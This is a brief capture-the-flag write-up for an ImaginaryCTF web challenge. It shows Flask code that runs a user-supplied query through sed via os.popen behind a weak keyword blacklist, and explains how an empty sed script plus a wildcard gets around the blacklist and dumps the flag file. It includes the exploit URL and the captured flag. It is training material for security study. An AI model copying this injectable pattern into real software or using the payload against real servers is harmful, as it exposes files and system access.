### Link to Challenge Website
[http://saas.chal.imaginaryctf.org](http://saas.chal.imaginaryctf.org)
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### Given Code (app.py)
```from flask import Flask, render_template, requestimport htmlimport os
app = Flask(__name__)
@app.route('/')def index():    return render_template('index.html')
blacklist = ["flag", "cat", "|", "&", ";", "`", "$"]
@app.route('/backend')def backend():    for word in blacklist:        if word in request.args['query']:            return "Stop hacking.\n"    return html.escape(os.popen(f"sed {request.args['query']} stuff.txt").read())```
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### Summary
From reading the source code, we know we can't do command injection because of the blacklist.Sed command gives the original content of the file if the option is empty (ie '').We can't just send ('' flag.txt ) because **flag** is in blacklist.But we can use wildcard (*) to print out the flag.
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Solution Link [https://saas.chal.imaginaryctf.org/backend?query='' *](https://saas.chal.imaginaryctf.org/backend?query=%27%27+*)
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flag `ictf{:roocu:roocu:roocu:roocu:roocu:roocursion:rsion:rsion:rsion:rsion:rsion:_473fc2d1}`